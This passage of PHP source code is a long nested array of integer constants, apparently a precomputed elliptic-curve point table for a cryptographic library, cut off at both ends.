array(17932739, -12437276, -24039557, 10749060, 11316803, 7535897, 22503767, 5561594, -3646624, 3898661), ), array( array(7749907, -969567, -16339731, -16464, -25018111, 15122143, -1573531, 7152530, 21831162, 1245233), array(26958459, -14658026, 4314586, 8346991, -5677764, 11960072, -32589295, -620035, -30402091, -16716212), array(-12165896, 9166947, 33491384, 13673479, 29787085, 13096535, 6280834, 14587357, -22338025, 13987525), ), array( array(-24349909, 7778775, 21116000, 15572597, -4833266, -5357778, -4300898, -5124639, -7469781, -2858068), array(9681908, -6737123, -31951644, 13591838, -6883821, 386950, 31622781, 6439245, -14581012, 4091397), array(-8426427, 1470727, -28109679, -1596990, 3978627, -5123623, -19622683, 12092163, 29077877, -14741988), ), array( array(5269168, -6859726, -13230211, -8020715, 25932563, 1763552, -5606110, -5505881, -20017847, 2357889), array(32264008, -15407652, -5387735, -1160093, -2091322, -3946900, 23104804, -12869908, 5727338, 189038), array(14609123, -8954470, -6000566, -16622781, -14577387, -7743898, -26745169, 10942115, -25888931, -14884697), ), array( array(20513500, 5557931, -15604613, 7829531, 26413943, -2019404, -21378968, 7471781, 13913677, -5137875), array(-25574376, 11967826, 29233242, 12948236, -6754465, 4713227, -8940970, 14059180, 12878652, 8511905), array(-25656801, 3393631, -2955415, -7075526, -2250709, 9366908, -30223418, 6812974, 5568676, -3127656), ), array( array(11630004, 12144454, 2116339, 13606037, 27378885, 15676917, -17408753, -13504373, -14395196, 8070818), array(27117696, -10007378, -31282771, -5570088, 1127282, 12772488, -29845906, 10483306, -11552749, -1028714), array(10637467, -5688064, 5674781, 1072708, -26343588, -6982302, -1683975, 9177853, -27493162, 15431203), ), array( array(20525145, 10892566, -12742472, 12779443, -29493034, 16150075, -28240519, 14943142, -15056790, -7935931), array(-30024462, 5626926, -551567, -9981087, 753598, 11981191, 25244767, -3239766, -3356550, 9594024), array(-23752644, 2636870, -5163910, -10103818, 585134, 7877383, 11345683, -6492290, 13352335, -10977084), ), array( array(-1931799, -5407458, 3304649, -12884869, 17015806, -4877091, -29783850, -7752482, -13215537, -319204), array(20239939, 6607058, 6203985, 3483793, -18386976, -779229, -20723742, 15077870, -22750759, 14523817), array(27406042, -6041657, 27423596, -4497394, 4996214, 10002360, -28842031, -4545494, -30172742, -4805667), ), ), array( array( array(11374242, 12660715, 17861383, -12540833, 10935568, 1099227, -13886076, -9091740, -27727044, 11358504), array(-12730809, 10311867, 1510375, 10778093, -2119455, -9145702, 32676003, 11149336, -26123651, 4985768), array(-19096303, 341147, -6197485, -239033, 15756973, -8796662, -983043, 13794114, -19414307, -15621255), ), array( array(6490081, 11940286, 25495923, -7726360, 8668373, -8751316, 3367603, 6970005, -1691065, -9004790), array(1656497, 13457317, 15370807, 6364910, 13605745, 8362338, -19174622, -5475723, -16796596, -5031438), array(-22273315, -13524424, -64685, -4334223, -18605636, -10921968, -20571065, -7007978, -99853, -10237333), ), array( array(17747465, 10039260, 19368299, -4050591, -20630635, -16041286, 31992683, -15857976, -29260363, -5511971), array(31932027, -4986141, -19612382, 16366580, 22023614, 88450, 11371999, -3744247, 4882242, -10626905), array(29796507, 37186, 19818052, 10115756, -11829032, 3352736, 18551198, 3272828, -5190932, -4162409), ), array( array(12501286, 4044383, -8612957, -13392385, -32430052, 5136599, -19230378, -3529697, 330070, -3659409), array(6384877, 2899513, 17807477, 7663917, -2358888, 12363165, 25366522, -8573892, -271295, 12071499), array(-8365515, -4042521, 25133448, -4517355, -6211027, 2265927, -32769618, 1936675, -5159697, 3829363), ), array( array(28425966, -5835433, -577090, -4697198, -14217555, 6870930, 7921550, -6567787, 26333140, 14267664), array(-11067219, 11871231, 27385719, -10559544, -4585914, -11189312, 10004786, -8709488, -21761224, 8930324), array(-21197785, -16396035, 25654216, -1725397, 12282012, 11008919, 1541940, 4757911, -26491501, -16408940), ), array( array(13537262, -7759490, -20604840, 10961927, -5922820, -13218065, -13156584, 6217254, -15943699, 13814990), array(-17422573, 15157790, 18705543, 29619, 24409717, -260476, 27361681, 9257833, -1956526, -1776914), array(-25045300, -10191966, 15366585, 15166509, -13105086, 8423556, -29171540, 12361135, -18685978, 4578290), ), array( array(24579768, 3711570, 1342322, -11180126, -27005135, 14124956, -22544529, 14074919, 21964432, 8235257), array(-6528613, -2411497, 9442966, -5925588, 12025640, -1487420, -2981514, -1669206, 13006806, 2355433), array(-16304899, -13605259, -6632427, -5142349, 16974359, -10911083, 27202044, 1719366, 1141648, -12796236), ), array( array(-12863944, -13219986, -8318266, -11018091, -6810145, -4843894, 13475066, -3133972, 32674895, 13715045), array(11423335, -5468059, 32344216, 8962751, 24989809, 9241752, -13265253, 16086212, -28740881, -15642093), array(-1409668, 12530728, -6368726, 10847387, 19531186, -14132160, -11709148, 7791794, -27245943, 4383347), ), ), array( array( array(-28970898, 5271447, -1266009, -9736989, -12455236, 16732599, -4862407, -4906449, 27193557, 6245191), array(-15193956, 5362278, -1783893, 2695834, 4960227, 12840725, 23061898, 3260492, 22510453, 8577507), array(-12632451, 11257346, -32692994, 13548177, -721004, 10879011, 31168030, 13952092, -29571492, -3635906), ), array( array(3877321, -9572739, 32416692, 5405324, -11004407, -13656635, 3759769, 11935320, 5611860, 8164018), array(-16275802, 14667797, 15906460, 12155291, -22111149, -9039718, 32003002, -8832289, 5773085, -8422109), array(-23788118, -8254300, 1950875, 8937633, 18686727, 16459170, -905725, 12376320, 31632953, 190926), ), array( array(-24593607, -16138885, -8423991, 13378746, 14162407, 6901328, -8288749, 4508564, -25341555, -3627528), array(8884438, -5884009, 6023974, 10104341, -6881569, -4941533, 18722941, -14786005, -1672488, 827625), array(-32720583, -16289296, -32503547, 7101210, 13354605, 2659080, -1800575, -14108036, -24878478, 1541286), ), array( array(2901347, -1117687, 3880376, -10059388, -17620940, -3612781, -21802117, -3567481, 20456845, -1885033), array(27019610, 12299467, -13658288, -1603234, -12861660, -4861471, -19540150, -5016058, 29439641, 15138866), array(21536104, -6626420, -32447818, -10690208, -22408077, 5175814, -5420040, -16361163, 7779328, 109896), ), array( array(30279744, 14648750, -8044871, 6425558, 13639621, -743509, 28698390, 12180118, 23177719, -554075), array(26572847, 3405927, -31701700, 12890905, -19265668, 5335866, -6493768, 2378492, 4439158, -13279347), array(-22716706, 3489070, -9225266, -332753, 18875722, -1140095, 14819434, -12731527, -17717757, -5461437), ), array( array(-5056483, 16566551, 15953661, 3767752, -10436499, 15627060, -820954, 2177225, 8550082, -15114165), array(-18473302, 16596775, -381660, 15663611, 22860960, 15585581, -27844109, -3582739, -23260460, -8428588), array(-32480551, 15707275, -8205912, -5652081, 29464558, 2713815, -22725137, 15860482, -21902570, 1494193), ), array( array(-19562091, -14087393, -25583872, -9299552, 13127842, 759709, 21923482, 16529112, 8742704, 12967017), array(-28464899, 1553205, 32536856, -10473729, -24691605, -406174, -8914625, -2933896, -29903758, 15553883), array(21877909, 3230008, 9881174, 10539357, -4797115, 2841332, 11543572, 14513274, 19375923, -12647961), ), array( array(8832269, -14495485, 13253511, 5137575, 5037871, 4078777, 24880818, -6222716, 2862653, 9455043), array(29306751, 5123106, 20245049, -14149889, 9592566, 8447059, -2077124, -2990080, 15511449, 4789663), array(-20679756, 7004547, 8824831, -9434977, -4045704, -3750736, -5754762, 108893, 23513200, 16652362), ), ), array( array( array(-33256173, 4144782, -4476029, -6579123, 10770039, -7155542, -6650416, -12936300, -18319198, 10212860), array(2756081, 8598110, 7383731, -6859892, 22312759, -1105012, 21179801, 2600940, -9988298, -12506466), array(-24645692, 13317462, -30449259, -15653928, 21365574, -10869657, 11344424, 864440, -2499677, -16710063), ), array( array(-26432803, 6148329, -17184412, -14474154, 18782929, -275997, -22561534, 211300, 2719757, 4940997), array(-1323882, 3911313, -6948744, 14759765, -30027150, 7851207, 21690126, 8518463, 26699843, 5276295), array(-13149873, -6429067, 9396249, 365013, 24703301, -10488939, 1321586, 149635, -15452774, 7159369), ), array( array(9987780, -3404759, 17507962, 9505530, 9731535, -2165514, 22356009, 8312176, 22477218, -8403385), array(18155857, -16504990, 19744716, 9006923, 15154154, -10538976, 24256460, -4864995, -22548173, 9334109), array(2986088, -4911893, 10776628, -3473844, 10620590, -7083203, -21413845, 14253545, -22587149, 536906), ), array( array(4377756, 8115836, 24567078, 15495314, 11625074, 13064599, 7390551, 10589625, 10838060, -15420424), array(-19342404, 867880, 9277171, -3218459, -14431572, -1986443, 19295826, -15796950, 6378260, 699185), array(7895026, 4057113, -7081772, -13077756, -17886831, -323126, -716039, 15693155, -5045064, -13373962), ), array( array(-7737563, -5869402, -14566319, -7406919, 11385654, 13201616, 31730678, -10962840, -3918636, -9669325), array(10188286, -15770834, -7336361, 13427543, 22223443, 14896287, 30743455, 7116568, -21786507, 5427593), array(696102, 13206899, 27047647, -10632082, 15285305, -9853179, 10798490, -4578720, 19236243, 12477404), ), array( array(-11229439, 11243796, -17054270, -8040865, -788228, -8167967, -3897669, 11180504, -23169516, 7733644), array(17800790, -14036179, -27000429, -11766671, 23887827, 3149671, 23466177, -10538171, 10322027, 15313801), array(26246234, 11968874, 32263343, -5468728, 6830755, -13323031, -15794704, -101982, -24449242, 10890804), ), array( array(-31365647, 10271363, -12660625, -6267268, 16690207, -13062544, -14982212, 16484931, 25180797, -5334884), array(-586574, 10376444, -32586414, -11286356, 19801893, 10997610, 2276632, 9482883, 316878, 13820577), array(-9882808, -4510367, -2115506, 16457136, -11100081, 11674996, 30756178, -7515054, 30696930, -3712849), ), array( array(32988917, -9603412, 12499366, 7910787, -10617257, -11931514, -7342816, -9985397, -32349517, 7392473), array(-8855661, 15927861, 9866406, -3649411, -2396914, -16655781, -30409476, -9134995, 25112947, -2926644), array(-2504044, -436966, 25621774, -5678772, 15085042, -5479877, -24884878, -13526194, 5537438, -13914319), ), ), array( array( array(-11225584, 2320285, -9584280, 10149187, -33444663, 5808648, -14876251, -1729667, 31234590, 6090599), array(-9633316, 116426, 26083934, 2897444, -6364437, -2688086, 609721, 15878753, -6970405, -9034768), array(-27757857, 247744, -15194774, -9002551, 23288161, -10011936, -23869595, 6503646, 20650474, 1804084), ), array( array(-27589786, 15456424, 8972517, 8469608, 15640622, 4439847, 3121995, -10329713, 27842616, -202328), array(-15306973, 2839644, 22530074, 10026331, 4602058, 5048462, 28248656, 5031932, -11375082, 12714369), array(20807691, -7270825, 29286141, 11421711, -27876523, -13868230, -21227475, 1035546, -19733229, 12796920), ), array( array(12076899, -14301286, -8785001, -11848922, -25012791, 16400684, -17591495, -12899438, 3480665, -15182815), array(-32361549, 5457597, 28548107, 7833186, 7303070, -11953545, -24363064, -15921875, -33374054, 2771025), array(-21389266, 421932, 26597266, 6860826, 22486084, -6737172, -17137485, -4210226, -24552282, 15673397), ), array( array(-20184622, 2338216, 19788685, -9620956, -4001265, -8740893, -20271184, 4733254, 3727144, -12934448), array(6120119, 814863, -11794402, -622716, 6812205, -15747771, 2019594, 7975683, 31123697, -10958981), array(30069250, -11435332, 30434654, 2958439, 18399564, -976289, 12296869, 9204260, -16432438, 9648165), ), array( array(32705432, -1550977, 30705658, 7451065, -11805606, 9631813, 3305266, 5248604, -26008332, -11377501), array(17219865, 2375039, -31570947, -5575615, -19459679, 9219903, 294711, 15298639, 2662509, -16297073), array(-1172927, -7558695, -4366770, -4287744, -21346413, -8434326, 32087529, -1222777, 32247248, -14389861), ), array( array(14312628, 1221556, 17395390, -8700143, -4945741, -8684635, -28197744, -9637817, -16027623, -13378845), array(-1428825, -9678990, -9235681, 6549687, -7383069, -468664, 23046502, 9803137, 17597934, 2346211), array(18510800, 15337574, 26171504, 981392, -22241552, 7827556, -23491134, -11323352, 3059833, -11782870), ), array( array(10141598, 6082907, 17829293, -1947643, 9830092, 13613136, -25556636, -5544586, -33502212, 3592096), array(33114168, -15889352, -26525686, -13343397, 33076705, 8716171, 1151462, 1521897, -982665, -6837803), array(-32939165, -4255815, 23947181, -324178, -33072974, -12305637, -16637686, 3891704, 26353178, 693168), ), array( array(30374239, 1595580, -16884039, 13186931, 4600344, 406904, 9585294, -400668, 31375464, 14369965), array(-14370654, -7772529, 1510301, 6434173, -18784789, -6262728, 32732230, -13108839, 17901441, 16011505), array(18171223, -11934626, -12500402, 15197122, -11038147, -15230035, -19172240, -16046376, 8764035, 12309598), ), ), array( array( array(5975908, -5243188, -19459362, -9681747, -11541277, 14015782, -23665757, 1228319, 17544096, -10593782), array(5811932, -1715293, 3442887, -2269310, -18367348, -8359541, -18044043, -15410127, -5565381, 12348900), array(-31399660, 11407555, 25755363, 6891399, -3256938, 14872274, -24849353, 8141295, -10632534, -585479), ), array( array(-12675304, 694026, -5076145, 13300344, 14015258, -14451394, -9698672, -11329050, 30944593, 1130208), array(8247766, -6710942, -26562381, -7709309, -14401939, -14648910, 4652152, 2488540, 23550156, -271232), array(17294316, -3788438, 7026748, 15626851, 22990044, 113481, 2267737, -5908146, -408818, -137719), ), array( array(16091085, -16253926, 18599252, 7340678, 2137637, -1221657, -3364161, 14550936, 3260525, -7166271), array(-4910104, -13332887, 18550887, 10864893, -16459325, -7291596, -23028869, -13204905, -12748722, 2701326), array(-8574695, 16099415, 4629974, -16340524, -20786213, -6005432, -10018363, 9276971, 11329923, 1862132), ), array( array(14763076, -15903608, -30918270, 3689867, 3511892, 10313526, -21951088, 12219231, -9037963, -940300), array(8894987, -3446094, 6150753, 3013931, 301220, 15693451, -31981216, -2909717, -15438168, 11595570), array(15214962, 3537601, -26238722, -14058872, 4418657, -15230761, 13947276, 10730794, -13489462, -4363670), ), array( array(-2538306, 7682793, 32759013, 263109, -29984731, -7955452, -22332124, -10188635, 977108, 699994), array(-12466472, 4195084, -9211532, 550904, -15565337, 12917920, 19118110, -439841, -30534533, -14337913), array(31788461, -14507657, 4799989, 7372237, 8808585, -14747943, 9408237, -10051775, 12493932, -5409317), ), array( array(-25680606, 5260744, -19235809, -6284470, -3695942, 16566087, 27218280, 2607121, 29375955, 6024730), array(842132, -2794693, -4763381, -8722815, 26332018, -12405641, 11831880, 6985184, -9940361, 2854096), array(-4847262, -7969331, 2516242, -5847713, 9695691, -7221186, 16512645, 960770, 12121869, 16648078), ), array( array(-15218652, 14667096, -13336229, 2013717, 30598287, -464137, -31504922, -7882064, 20237806, 2838411), array(-19288047, 4453152, 15298546, -16178388, 22115043, -15972604, 12544294, -13470457, 1068881, -12499905), array(-9558883, -16518835, 33238498, 13506958, 30505848, -1114596, -8486907, -2630053, 12521378, 4845654), ), array( array(-28198521, 10744108, -2958380, 10199664, 7759311, -13088600, 3409348, -873400, -6482306, -12885870), array(-23561822, 6230156, -20382013, 10655314, -24040585, -11621172, 10477734, -1240216, -3113227, 13974498), array(12966261, 15550616, -32038948, -1615346, 21025980, -629444, 5642325, 7188737, 18895762, 12629579), ), ), array( array( array(14741879, -14946887, 22177208, -11721237, 1279741, 8058600, 11758140, 789443, 32195181, 3895677), array(10758205, 15755439, -4509950, 9243698, -4879422, 6879879, -2204575, -3566119, -8982069, 4429647), array(-2453894, 15725973, -20436342, -10410672, -5803908, -11040220, -7135870, -11642895, 18047436, -15281743), ), array( array(-25173001, -11307165, 29759956, 11776784, -22262383, -15820455, 10993114, -12850837, -17620701, -9408468), array(21987233, 700364, -24505048, 14972008, -7774265, -5718395, 32155026, 2581431, -29958985, 8773375), array(-25568350, 454463, -13211935, 16126715, 25240068, 8594567, 20656846, 12017935, -7874389, -13920155), ), array( array(6028182, 6263078, -31011806, -11301710, -818919, 2461772, -31841174, -5468042, -1721788, -2776725), array(-12278994, 16624277, 987579, -5922598, 32908203, 1248608, 7719845, -4166698, 28408820, 6816612), array(-10358094, -8237829, 19549651, -12169222, 22082623, 16147817, 20613181, 13982702, -10339570, 5067943), ), array( array(-30505967, -3821767, 12074681, 13582412, -19877972, 2443951, -19719286, 12746132, 5331210, -10105944), array(30528811, 3601899, -1957090, 4619785, -27361822, -15436388, 24180793, -12570394, 27679908, -1648928), array(9402404, -13957065, 32834043, 10838634, -26580150, -13237195, 26653274, -8685565, 22611444, -12715406), ), array( array(22190590, 1118029, 22736441, 15130463, -30460692, -5991321, 19189625, -4648942, 4854859, 6622139), array(-8310738, -2953450, -8262579, -3388049, -10401731, -271929, 13424426, -3567227, 26404409, 13001963), array(-31241838, -15415700, -2994250, 8939346, 11562230, -12840670, -26064365, -11621720, -15405155, 11020693), ), array( array(1866042, -7949489, -7898649, -10301010, 12483315, 13477547, 3175636, -12424163, 28761762, 1406734), array(-448555, -1777666, 13018551, 3194501, -9580420, -11161737, 24760585, -4347088, 25577411, -13378680), array(-24290378, 4759345, -690653, -1852816, 2066747, 10693769, -29595790, 9884936, -9368926, 4745410), ), array( array(-9141284, 6049714, -19531061, -4341411, -31260798, 9944276, -15462008, -11311852, 10931924, -11931931), array(-16561513, 14112680, -8012645, 4817318, -8040464, -11414606, -22853429, 10856641, -20470770, 13434654), array(22759489, -10073434, -16766264, -1871422, 13637442, -10168091, 1765144, -12654326, 28445307, -5364710), ), array( array(29875063, 12493613, 2795536, -3786330, 1710620, 15181182, -10195717, -8788675, 9074234, 1167180), array(-26205683, 11014233, -9842651, -2635485, -26908120, 7532294, -18716888, -9535498, 3843903, 9367684), array(-10969595, -6403711, 9591134, 9582310, 11349256, 108879, 16235123, 8601684, -139197, 4242895), ), ), array( array( array(22092954, -13191123, -2042793, -11968512, 32186753, -11517388, -6574341, 2470660, -27417366, 16625501), array(-11057722, 3042016, 13770083, -9257922, 584236, -544855, -7770857, 2602725, -27351616, 14247413), array(6314175, -10264892, -32772502, 15957557, -10157730, 168750, -8618807, 14290061, 27108877, -1180880), ), array( array(-8586597, -7170966, 13241782, 10960156, -32991015, -13794596, 33547976, -11058889, -27148451, 981874), array(22833440, 9293594, -32649448, -13618667, -9136966, 14756819, -22928859, -13970780, -10479804, -16197962), array(-7768587, 3326786, -28111797, 10783824, 19178761, 14905060, 22680049, 13906969, -15933690, 3797899), ), array( array(21721356, -4212746, -12206123, 9310182, -3882239, -13653110, 23740224, -2709232, 20491983, -8042152), array(9209270, -15135055, -13256557, -6167798, -731016, 15289673, 25947805, 15286587, 30997318, -6703063), array(7392032, 16618386, 23946583, -8039892, -13265164, -1533858, -14197445, -2321576, 17649998, -250080), ), array( array(-9301088, -14193827, 30609526, -3049543, -25175069, -1283752, -15241566, -9525724, -2233253, 7662146), array(-17558673, 1763594, -33114336, 15908610, -30040870, -12174295, 7335080, -8472199, -3174674, 3440183), array(-19889700, -5977008, -24111293, -9688870, 10799743, -16571957, 40450, -4431835, 4862400, 1133), ), array( array(-32856209, -7873957, -5422389, 14860950, -16319031, 7956142, 7258061, 311861, -30594991, -7379421), array(-3773428, -1565936, 28985340, 7499440, 24445838, 9325937, 29727763, 16527196, 18278453, 15405622), array(-4381906, 8508652, -19898366, -3674424, -5984453, 15149970, -13313598, 843523, -21875062, 13626197), ), array( array(2281448, -13487055, -10915418, -2609910, 1879358, 16164207, -10783882, 3953792, 13340839, 15928663), array(31727126, -7179855, -18437503, -8283652, 2875793, -16390330, -25269894, -7014826, -23452306, 5964753), array(4100420, -5959452, -17179337, 6017714, -18705837, 12227141, -26684835, 11344144, 2538215, -7570755), ), array( array(-9433605, 6123113, 11159803, -2156608, 30016280, 14966241, -20474983, 1485421, -629256, -15958862), array(-26804558, 4260919, 11851389, 9658551, -32017107, 16367492, -20205425, -13191288, 11659922, -11115118), array(26180396, 10015009, -30844224, -8581293, 5418197, 9480663, 2231568, -10170080, 33100372, -1306171), ), array( array(15121113, -5201871, -10389905, 15427821, -27509937, -15992507, 21670947, 4486675, -5931810, -14466380), array(16166486, -9483733, -11104130, 6023908, -31926798, -1364923, 2340060, -16254968, -10735770, -10039824), array(28042865, -3557089, -12126526, 12259706, -3717498, -6945899, 6766453, -8689599, 18036436, 5803270), ), ), array( array( array(-817581, 6763912, 11803561, 1585585, 10958447, -2671165, 23855391, 4598332, -6159431, -14117438), array(-31031306, -14256194, 17332029, -2383520, 31312682, -5967183, 696309, 50292, -20095739, 11763584), array(-594563, -2514283, -32234153, 12643980, 12650761, 14811489, 665117, -12613632, -19773211, -10713562), ), array( array(30464590, -11262872, -4127476, -12734478, 19835327, -7105613, -24396175, 2075773, -17020157, 992471), array(18357185, -6994433, 7766382, 16342475, -29324918, 411174, 14578841, 8080033, -11574335, -10601610), array(19598397, 10334610, 12555054, 2555664, 18821899, -10339780, 21873263, 16014234, 26224780, 16452269), ), array( array(-30223925, 5145196, 5944548, 16385966, 3976735, 2009897, -11377804, -7618186, -20533829, 3698650), array(14187449, 3448569, -10636236, -10810935, -22663880, -3433596, 7268410, -10890444, 27394301, 12015369), array(19695761, 16087646, 28032085, 12999827, 6817792, 11427614, 20244189, -1312777, -13259127, -3402461), ), array( array(30860103, 12735208, -1888245, -4699734, -16974906, 2256940, -8166013, 12298312, -8550524, -10393462), array(-5719826, -11245325, -1910649, 15569035, 26642876, -7587760, -5789354, -15118654, -4976164, 12651793), array(-2848395, 9953421, 11531313, -5282879, 26895123, -12697089, -13118820, -16517902, 9768698, -2533218), ), array( array(-24719459, 1894651, -287698, -4704085, 15348719, -8156530, 32767513, 12765450, 4940095, 10678226), array(18860224, 15980149, -18987240, -1562570, -26233012, -11071856, -7843882, 13944024, -24372348, 16582019), array(-15504260, 4970268, -29893044, 4175593, -20993212, -2199756, -11704054, 15444560, -11003761, 7989037), ), array( array(31490452, 5568061, -2412803, 2182383, -32336847, 4531686, -32078269, 6200206, -19686113, -14800171), array(-17308668, -15879940, -31522777, -2831, -32887382, 16375549, 8680158, -16371713, 28550068, -6857132), array(-28126887, -5688091, 16837845, -1820458, -6850681, 12700016, -30039981, 4364038, 1155602, 5988841), ), array( array(21890435, -13272907, -12624011, 12154349, -7831873, 15300496, 23148983, -4470481, 24618407, 8283181), array(-33136107, -10512751, 9975416, 6841041, -31559793, 16356536, 3070187, -7025928, 1466169, 10740210), array(-1509399, -15488185, -13503385, -10655916, 32799044, 909394, -13938903, -5779719, -32164649, -15327040), ), array( array(3960823, -14267803, -28026090, -15918051, -19404858, 13146868, 15567327, 951507, -3260321, -573935), array(24740841, 5052253, -30094131, 8961361, 25877428, 6165135, -24368180, 14397372, -7380369, -6144105), array(-28888365, 3510803, -28103278, -1158478, -11238128, -10631454, -15441463, -14453128, -1625486, -6494814), ), ), array( array( array(793299, -9230478, 8836302, -6235707, -27360908, -2369593, 33152843, -4885251, -9906200, -621852), array(5666233, 525582, 20782575, -8038419, -24538499, 14657740, 16099374, 1468826, -6171428, -15186581), array(-4859255, -3779343, -2917758, -6748019, 7778750, 11688288, -30404353, -9871238, -1558923, -9863646), ), array( array(10896332, -7719704, 824275, 472601, -19460308, 3009587, 25248958, 14783338, -30581476, -15757844), array(10566929, 12612572, -31944212, 11118703, -12633376, 12362879, 21752402, 8822496, 24003793, 14264025), array(27713862, -7355973, -11008240, 9227530, 27050101, 2504721, 23886875, -13117525, 13958495, -5732453), ), array( array(-23481610, 4867226, -27247128, 3900521, 29838369, -8212291, -31889399, -10041781, 7340521, -15410068), array(4646514, -8011124, -22766023, -11532654, 23184553, 8566613, 31366726, -1381061, -15066784, -10375192), array(-17270517, 12723032, -16993061, 14878794, 21619651, -6197576, 27584817, 3093888, -8843694, 3849921), ), array( array(-9064912, 2103172, 25561640, -15125738, -5239824, 9582958, 32477045, -9017955, 5002294, -15550259), array(-12057553, -11177906, 21115585, -13365155, 8808712, -12030708, 16489530, 13378448, -25845716, 12741426), array(-5946367, 10645103, -30911586, 15390284, -3286982, -7118677, 24306472, 15852464, 28834118, -7646072), ), array( array(-17335748, -9107057, -24531279, 9434953, -8472084, -583362, -13090771, 455841, 20461858, 5491305), array(13669248, -16095482, -12481974, -10203039, -14569770, -11893198, -24995986, 11293807, -28588204, -9421832), array(28497928, 6272777, -33022994, 14470570, 8906179, -1225630, 18504674, -14165166, 29867745, -8795943), ), array( array(-16207023, 13517196, -27799630, -13697798, 24009064, -6373891, -6367600, -13175392, 22853429, -4012011), array(24191378, 16712145, -13931797, 15217831, 14542237, 1646131, 18603514, -11037887, 12876623, -2112447), array(17902668, 4518229, -411702, -2829247, 26878217, 5258055, -12860753, 608397, 16031844, 3723494), ), array( array(-28632773, 12763728, -20446446, 7577504, 33001348, -13017745, 17558842, -7872890, 23896954, -4314245), array(-20005381, -12011952, 31520464, 605201, 2543521, 5991821, -2945064, 7229064, -9919646, -8826859), array(28816045, 298879, -28165016, -15920938, 19000928, -1665890, -12680833, -2949325, -18051778, -2082915), ), array( array(16000882, -344896, 3493092, -11447198, -29504595, -13159789, 12577740, 16041268, -19715240, 7847707), array(10151868, 10572098, 27312476, 7922682, 14825339, 4723128, -32855931, -6519018, -10020567, 3852848), array(-11430470, 15697596, -21121557, -4420647, 5386314, 15063598, 16514493, -15932110, 29330899, -15076224), ), ), array( array( array(-25499735, -4378794, -15222908, -6901211, 16615731, 2051784, 3303702, 15490, -27548796, 12314391), array(15683520, -6003043, 18109120, -9980648, 15337968, -5997823, -16717435, 15921866, 16103996, -3731215), array(-23169824, -10781249, 13588192, -1628807, -3798557, -1074929, -19273607, 5402699, -29815713, -9841101), ), array( array(23190676, 2384583, -32714340, 3462154, -29903655, -1529132, -11266856, 8911517, -25205859, 2739713), array(21374101, -3554250, -33524649, 9874411, 15377179, 11831242, -33529904, 6134907, 4931255, 11987849), array(-7732, -2978858, -16223486, 7277597, 105524, -322051, -31480539, 13861388, -30076310, 10117930), ), array( array(-29501170, -10744872, -26163768, 13051539, -25625564, 5089643, -6325503, 6704079, 12890019, 15728940), array(-21972360, -11771379, -951059, -4418840, 14704840, 2695116, 903376, -10428139, 12885167, 8311031), array(-17516482, 5352194, 10384213, -13811658, 7506451, 13453191, 26423267, 4384730, 1888765, -5435404), ), array( array(-25817338, -3107312, -13494599, -3182506, 30896459, -13921729, -32251644, -12707869, -19464434, -3340243), array(-23607977, -2665774, -526091, 4651136, 5765089, 4618330, 6092245, 14845197, 17151279, -9854116), array(-24830458, -12733720, -15165978, 10367250, -29530908, -265356, 22825805, -7087279, -16866484, 16176525), ), array( array(-23583256, 6564961, 20063689, 3798228, -4740178, 7359225, 2006182, -10363426, -28746253, -10197509), array(-10626600, -4486402, -13320562, -5125317, 3432136, -6393229, 23632037, -1940610, 32808310, 1099883), array(15030977, 5768825, -27451236, -2887299, -6427378, -15361371, -15277896, -6809350, 2051441, -15225865), ), array( array(-3362323, -7239372, 7517890, 9824992, 23555850, 295369, 5148398, -14154188, -22686354, 16633660), array(4577086, -16752288, 13249841, -15304328, 19958763, -14537274, 18559670, -10759549, 8402478, -9864273), array(-28406330, -1051581, -26790155, -907698, -17212414, -11030789, 9453451, -14980072, 17983010, 9967138), ), array( array(-25762494, 6524722, 26585488, 9969270, 24709298, 1220360, -1677990, 7806337, 17507396, 3651560), array(-10420457, -4118111, 14584639, 15971087, -15768321, 8861010, 26556809, -5574557, -18553322, -11357135), array(2839101, 14284142, 4029895, 3472686, 14402957, 12689363, -26642121, 8459447, -5605463, -7621941), ), array( array(-4839289, -3535444, 9744961, 2871048, 25113978, 3187018, -25110813, -849066, 17258084, -7977739), array(18164541, -10595176, -17154882, -1542417, 19237078, -9745295, 23357533, -15217008, 26908270, 12150756), array(-30264870, -7647865, 5112249, -7036672, -1499807, -6974257, 43168, -5537701, -32302074, 16215819), ), ), array( array( array(-6898905, 9824394, -12304779, -4401089, -31397141, -6276835, 32574489, 12532905, -7503072, -8675347), array(-27343522, -16515468, -27151524, -10722951, 946346, 16291093, 254968, 7168080, 21676107, -1943028), array(21260961, -8424752, -16831886, -11920822, -23677961, 3968121, -3651949, -6215466, -3556191, -7913075), ), array( array(16544754, 13250366, -16804428, 15546242, -4583003, 12757258, -2462308, -8680336, -18907032, -9662799), array(-2415239, -15577728, 18312303, 4964443, -15272530, -12653564, 26820651, 16690659, 25459437, -4564609), array(-25144690, 11425020, 28423002, -11020557, -6144921, -15826224, 9142795, -2391602, -6432418, -1644817), ), array( array(-23104652, 6253476, 16964147, -3768872, -25113972, -12296437, -27457225, -16344658, 6335692, 7249989), array(-30333227, 13979675, 7503222, -12368314, -11956721, -4621693, -30272269, 2682242, 25993170, -12478523), array(4364628, 5930691, 32304656, -10044554, -8054781, 15091131, 22857016, -10598955, 31820368, 15075278), ), array( array(31879134, -8918693, 17258761, 90626, -8041836, -4917709, 24162788, -9650886, -17970238, 12833045), array(19073683, 14851414, -24403169, -11860168, 7625278, 11091125, -19619190, 2074449, -9413939, 14905377), array(24483667, -11935567, -2518866, -11547418, -1553130, 15355506, -25282080, 9253129, 27628530, -7555480), ), array( array(17597607, 8340603, 19355617, 552187, 26198470, -3176583, 4593324, -9157582, -14110875, 15297016), array(510886, 14337390, -31785257, 16638632, 6328095, 2713355, -20217417, -11864220, 8683221, 2921426), array(18606791, 11874196, 27155355, -5281482, -24031742, 6265446, -25178240, -1278924, 4674690, 13890525), ), array( array(13609624, 13069022, -27372361, -13055908, 24360586, 9592974, 14977157, 9835105, 4389687, 288396), array(9922506, -519394, 13613107, 5883594, -18758345, -434263, -12304062, 8317628, 23388070, 16052080), array(12720016, 11937594, -31970060, -5028689, 26900120, 8561328, -20155687, -11632979, -14754271, -10812892), ), array( array(15961858, 14150409, 26716931, -665832, -22794328, 13603569, 11829573, 7467844, -28822128, 929275), array(11038231, -11582396, -27310482, -7316562, -10498527, -16307831, -23479533, -9371869, -21393143, 2465074), array(20017163, -4323226, 27915242, 1529148, 12396362, 15675764, 13817261, -9658066, 2463391, -4622140), ), array( array(-16358878, -12663911, -12065183, 4996454, -1256422, 1073572, 9583558, 12851107, 4003896, 12673717), array(-1731589, -15155870, -3262930, 16143082, 19294135, 13385325, 14741514, -9103726, 7903886, 2348101), array(24536016, -16515207, 12715592, -3862155, 1511293, 10047386, -3842346, -7129159, -28377538, 